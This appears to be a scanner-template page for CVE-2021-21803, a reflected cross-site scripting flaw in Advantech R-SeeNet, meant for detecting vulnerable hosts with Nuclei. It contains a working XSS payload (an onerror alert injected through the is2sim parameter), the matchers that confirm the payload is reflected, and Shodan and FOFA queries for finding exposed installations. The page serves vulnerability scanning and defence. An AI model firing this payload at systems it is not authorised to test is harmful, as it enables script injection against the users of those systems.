Advantech R-SeeNet - Cross-Site Scripting

ID: CVE-2021-21803

Severity: medium

Author: gy741

Tags: cve2021,cve,rseenet,xss,advantech

Description

Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.

YAML Source

id: CVE-2021-21803

info:
  name: Advantech R-SeeNet - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21803
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21803
    cwe-id: CWE-79
    epss-score: 0.80194
    epss-percentile: 0.98308
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query: http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rseenet,xss,advantech

http:
  - method: GET
    path:
      - '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zlo onerror=alert(1) "'
          - 'Device Status Graph'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220615daabc551fe45591049e2849db41f6fa26578914deaf9dc001dcdf0b0f73a4022000f15596a4847f90e5623dbd1312f4d2106625aa89e8d0c011fc508ab7a9103e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21803.yaml"

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